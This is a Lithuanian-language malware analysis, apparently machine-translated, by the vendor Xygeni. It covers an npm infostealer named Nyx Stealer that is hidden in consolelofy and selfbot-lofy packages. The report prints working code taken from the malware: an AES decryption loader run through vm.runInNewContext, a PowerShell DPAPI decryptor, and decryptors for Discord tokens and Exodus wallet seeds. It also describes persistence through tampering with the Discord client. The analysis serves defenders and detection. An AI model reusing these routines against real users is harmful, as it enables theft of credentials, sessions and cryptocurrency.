Lt; DR
„Xygeni“ saugumo tyrimų komanda identifikavo sudėtingą „npm“ informacijos vagystės kampaniją, vykdomą naudojant du kenkėjiškus paketus: konsolė bei selfbot-lofy.
Naujausia versija (consolelofy@1.3.0) įterpia 216 KB AES šifruotą naudingąją apkrovą, kuri iššifruojama vykdymo metu ir vykdoma per vm.runInNewContext()Kadangi kenkėjiška logika yra visiškai užšifruota, statiniai skaitytuvai, pasikliaujantys eilučių tikrinimu, negali stebėti jos elgesio iki vykdymo laiko.
Iššifravus, naudingoji apkrova, vidiniu būdu paženklinta Nyx vagis, tikslai:
- „Discord“ autentifikavimo žetonai
- 50+ naršyklės kredencialų parduotuvių
- Daugiau nei 90 kriptovaliutų piniginės plėtinių
- „Roblox“, „Instagram“, „Spotify“, „Steam“, „Telegram“ ir „TikTok“ sesijos
- „Discord“ darbalaukio kliento išlikimas
Buvo pranešta apie visas 20 abiejų paketų versijų, kurios buvo patvirtintos kaip kenkėjiškos.
Techninė šio npm Infostealer apžvalga
Skirtingai nuo tradicinių diegimo metu veikiančių kenkėjiškų programų, ši kampanija remiasi Runtime iššifravimo modelis.
Yra:
- Nėra kenkėjiškų
preinstallorpostinstallhooks - Nėra akivaizdžių diegimo metu vykstančių tinklo skambučių
- Nėra paprasto teksto kredencialų rinkimo logikos
Naudingoji apkrova aktyvuojama importuojant modulį. Visas kenkėjiškas turinys yra užšifruojamas ir materializuojasi atmintyje tik vykdymo metu.
Ši konstrukcija specialiai apsaugo nuo aptikimo diegiant paketą.
Kaip šis „npm Infostealer“ iš tikrųjų veikia
Prieš analizuodami, ką vagia Nyx Stealer, turime suprasti kaip tai vykdoma.
Šio npm informacijos vagystės kenkėjiška logika atitinka nuoseklų modelį:
Mažas įkėlėjas iššifruoja didelį užšifruotą naudingąjį apkrovą ir dinamiškai ją vykdo „Node.js“ virtualios mašinos kontekste.
Šis dizainas yra sąmoningas. Užpuolikas neslepia funkcionalumo vien už klaidinimo, jis... visiškai pašalinant kenkėjišką kodą iš statinio matomumo.
Aukšto lygio vykdymo modelis
Aukštu lygiu apvalkalas atlieka keturis dalykus:
- Iš užkoduotos slaptafrazės, naudodamas SHA-256, išgauna AES raktą
- Iššifruoja didelį šešioliktainiu koduotu šifruotą tekstą naudodamas AES-256-CBC
- Vykdo iššifruotą „JavaScript“ kodą naudodamas
vm.runInNewContext() - Suteikia „smėlio dėžę“, kurioje vis dar veikia galingi vykdymo laiko primityvai
Pagrindinės technikos santrauka
| Komponentas | Konfigūracija / reikšmė |
|---|---|
| Algoritmas | AES-256-CBC |
| Raktų išvedimas | SHA-256 (slaptafrazė) |
| Inicializacijos vektorius (IV) | 16 baitų, kurių reikšmė yra 0x00 |
| Vykdymas | vm.runInNewContext(iššifruota, smėlio dėžė) |
Svarbiausia, kad smėlio dėžė praeina per:
requireprocessBuffer- laikmačiai
- modulių eksportas
Tai reiškia, kad iššifruotas krovinys išlaiko visas galimybes:
- Neršto procesai
- Skaityti ir rašyti failus
- Skambinkite tinklu
- Vietinių programų modifikavimas
Tai nėra apribota virtuali mašina. Tai virtuali mašina, naudojama kaip vykdymo batutas.
Vykdymo laiko šifravimo šablonas (pagrindinis vykdymo mechanizmas)
Įkroviklis mažas.
Piktavališkas kūnas – ne.
Žemiau pateikiamas vykdymo modelis, esantis paketo viduje:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Kodėl Ši dalykai
Iššifruotas naudingasis krūvis:
- Ar ne egzistuoja paprasto teksto pavidalu npm pakete
- Paprastiems nematomas
greparba statinis eilučių nuskaitymas - Materializuojasi atmintyje tik vykdymo metu
- Vykdomas su visomis „Node“ vykdymo laiko galimybėmis
Šis AES + VM vykdymo derinys yra stiprus elgesio rodiklis, rodantis, kad npm informacijos vagystės bandymas išvengti statinės patikros.
Kitaip tariant:
Jei nuskaitysite paketo šaltinio medį, nematysite vagystės.
Matote iššifravimo įrankį.
Kas nutinka po iššifravimo
Įvykdžius Nyx Stealer, paleidžiamos lygiagrečios duomenų rinkimo bangos.
1 etapas: naršyklės kredencialų išgavimas
Kenkėjiška programa:
- Atsisiunčia „Python“ vykdymo aplinką iš „NuGet CDN“
- Įdiegia kriptografines bibliotekas
- Ištraukia „Chromium“ pagrindu veikiančias kredencialų saugyklas
- Iššifruoja DPAPI apsaugotas paslaptis
Užuot kompiliavęs vietinius susiejimus, jis naudoja „PowerShell“, kad tiesiogiai iškviestų „Windows DPAPI“.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Šis metodas:
- Išvengiama kompiliavimo artefaktų
- Naudoja vietines „Windows“ kriptografijos API
- Įsilieja į administracines priemones
Tai OS lygio kredencialų iššifravimas, o ne duomenų išgavimas.
2 banga: „Discord“ žetonų iššifravimas
Vagilė supranta protokolą. Ji supranta „Discord“ užšifruotą žetono formatą.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Veiklos srautas:
- Ištraukite pagrindinį raktą iš „Discord“
Local State - Iššifruoti pagrindinį raktą per DPAPI
- Iššifruoti AES-GCM prieigos rakto blokus
- Patvirtinkite žetonus naudodami „Discord“ API
- Praturtinkite „Nitro“, ženkleliais, atsiskaitymo informacija
Tai nėra bendras kredencialų išmetimas. Tai protokolą naudojantis sesijos užgrobimas.
3 banga: kriptovaliutų piniginių taikymas
„npm infostealer“ išvardija:
- 90+ naršyklės piniginės plėtinių
- 27 darbalaukio piniginės
- Šaltos piniginės keliai
- Išėjimo sėklų failai
Sėklos iššifravimo bandymo pavyzdys:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Jei pavyksta, piniginės pažeidimas yra neatidėliotinas ir negrįžtamas.
Tai rodo kampanijos didžiausią vertę turintį pajamų gavimo vektorių.
Patvarumas naudojant „Discord Desktop Injection“
Surinkus prisijungimo duomenis, Nyx Stealer bando išsaugoti duomenis modifikuodama vietinius duomenis. Discord klientų.
Tikslas:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Veiklos seka
Informacijos vagis atlieka šiuos veiksmus:
- Nutraukia veikiančius „Discord“ procesus
- Suranda įdiegtus „Discord“ variantus („Stable“, „Canary“, PTB)
- Perrašo
discord_desktop_core/index.js - Įterpia užpuoliko valdomą žiniatinklio kabliuko logiką
- Paleidžia „Discord“ iš naujo
Tai užtikrina, kad būsimose „Discord“ sesijose automatiškai bus nutekinti nauji autentifikavimo žetonai.
Svarbu tai, kad šis duomenų išsaugojimas nepriklauso nuo suplanuotų užduočių ar registro pakeitimų. Jis naudoja programos lygio kodo modifikavimą – slaptesnį metodą.
Net jei kenkėjiškas npm paketas vėliau pašalinamas, „Discord“ klientas lieka pažeistas.
Techninis palyginimas: „Legitimate Selfbot“ ir „npm Infostealer“
| Komponentas | Teisėta biblioteka | Nyx npm informacijos vagystė |
|---|---|---|
| Šifravimas | Nėra | Pilnai AES užšifruotas naudingasis krovinys |
| Vykdymo laiko VM | Nebūtinas | vm.runInNewContext vykdymas |
| Prieiga prie kredencialų | Tik „Discord“ API | Naršyklė, piniginės, DPAPI |
| Išoriniai atsisiuntimai | Ne | Python vykdymo aplinka per NuGet |
| Atkaklumas | Ne | Discord kliento injekcija |
| monetizacijos | Botų automatizavimas | Įgaliojimų perpardavimas |
Vien šifravimo sluoksnis jau skiria šią kampaniją nuo įprastos atvirojo kodo atšakos.
Teisėtas „Discord“ savarankiškas robotas neturi jokios priežasties šifruoti visos savo kodo bazės, kurti „PowerShell“, kad pasiektų DPAPI, atsisiųsti išorinius vykdymo aplinkus ar modifikuoti darbalaukio programų vidinę struktūrą. Kai šios galimybės atsiranda priklausomybėje, kuri teigia automatizuojanti „Discord“ sąveikas, architektūrinio neatitikimo ignoruoti neįmanoma.
Tyrimo požiūriu, šis npm informacijos vagystės įrankis palieka pėdsakus keliuose sluoksniuose. Tačiau patikimiausi indikatoriai nėra užkoduoti URL adresai ar konkretūs failų keliai, nes jie gali keistis skirtingose versijose. Patvariausi indikatoriai yra struktūriniai.
Paketo lygmeniu stipriausia raudona vėliavėlė yra didelės užšifruotos apkrovos ir vykdymo laiko iššifravimo apvalkalo, kuris nedelsiant paleidžiamas per, derinys vm.runInNewContext()Nors vien šifravimas nėra savaime kenkėjiškas, AES iššifravimo naudojimas ir dinaminis VM vykdymas „Discord“ programos pakete yra labai anomalus.
Pagrindinio kompiuterio lygmenyje įtartini modeliai apima netikėtą DPAPI iššifravimo veiklą, procesų atsiradimą iš „Node.js“ priklausomybės konteksto ir vietinių programų failų modifikavimą, kurių niekada neturėtų keisti trečiųjų šalių bibliotekos. Panašiai tinklo lygmenyje kita reikšminga anomalija yra išorinis „webhook“ stiliaus ryšys, kurį inicijuoja kūrimo priklausomybė.
Kitaip tariant, aptikimo paviršius nėra vienintelis kompromitacijos rodiklis. Grėsmę atskleidžia šifravimo, vykdymo laiko, prieigos prie kredencialų ir atkūrimo elgsenos koreliacija.
Aptikimas ir mažinimas naudojant „Xygeni“
Šį „npm“ informacijos vagystę identifikavo „Xygeni“ kenkėjiškų programų ankstyvojo įspėjimo sistema (MEW) per sluoksniuotą elgesio koreliaciją, o ne paprastą parašų atitikimą.
Užuot ieškojusi žinomų kenkėjiškų eilučių, MEW įvertina struktūrinius nukrypimus visame šaltinio medyje. Šiuo atveju aptikimas atsirado dėl kelių signalų suartėjimo: įterptosios AES iššifravimo rutinos modulio įėjimo taške, neatidėliotino vykdymo VM kontekste ir aiškaus galimybių ir ketinimų neatitikimo.
Svarbu tai, kad nė vienas iš šių signalų atskirai neįrodo kenkėjiškų ketinimų. Tačiau analizuojami kartu jie atskleidžia bandymą nuslėpti veikimo laiką. Šis daugiasluoksnis metodas žymiai sumažina klaidingai teigiamų rezultatų skaičių ir tuo pačiu metu nustato didelio patikimumo tiekimo grandinės grėsmes.
Be to, šis atvejis iliustruoja, kodėl vien tik diegimo metu atliekamo patikrinimo nepakanka. Kenkėjiška logika neegzistuoja gyvavimo ciklo scenarijuose. Ji suaktyvėja tik įkėlus modulį ir tampa matoma tik iššifravus atmintyje. Todėl veiksmingai gynybai reikalinga šifravimą suvokianti analizė, elgsenos modelių atpažinimas ir nuolatinis priklausomybių stebėjimas, neapsiribojant diegimo įvykiais.
Registro pašalinimas yra reaktyvus. Vykdymo laiko analizė yra prevencinė.
Kodėl šis npm informacijos vagystės įrankis svarbus
„Nyx Stealer“ atspindi struktūrinę npm pagrindu sukurtos kenkėjiškos programos evoliuciją.
Istoriškai daugelis kenkėjiškų paketų rėmėsi matomais diegimo laiko scenarijais arba akivaizdžiais kredencialų išgavimo galiniais punktais. Tuo tarpu ši kampanija šifruoja savo naudingąją apkrovą, atideda vykdymą vykdymo laikui, naudoja teisėtas operacinės sistemos API ir užtikrina patikimumą patikimose programose.
Todėl užpuolikui nereikia išnaudoti pačios npm infrastruktūros. Vietoj to, ataka pavyksta, nes priklausomybių diegimas reiškia pasitikėjimą. Kūrėjai daro prielaidą, kad bibliotekos importavimas yra saugi operacija, ypač kai ji pateikiama kaip tikėtina populiaraus įrankio atšaka.
Ekosistemoms toliau augant ir daugėjant šakų, ši numanoma pasitikėjimo riba tampa vis patrauklesne atakų vieta. Todėl norint apsisaugoti nuo šiuolaikinių npm informacijos vagysčių, reikia atpažinti architektūrinius modelius, o ne ieškoti statinių eilučių.
Galiausiai ši kampanija sustiprina svarbią pamoką software supply chain securityPavojingiausios grėsmės yra ne tos, kurios iš pirmo žvilgsnio atrodo kenkėjiškos, o tos, kurios atrodo struktūriškai teisėtos, kol vykdymo metu neatskleidžiamas tikrasis jų elgesys.




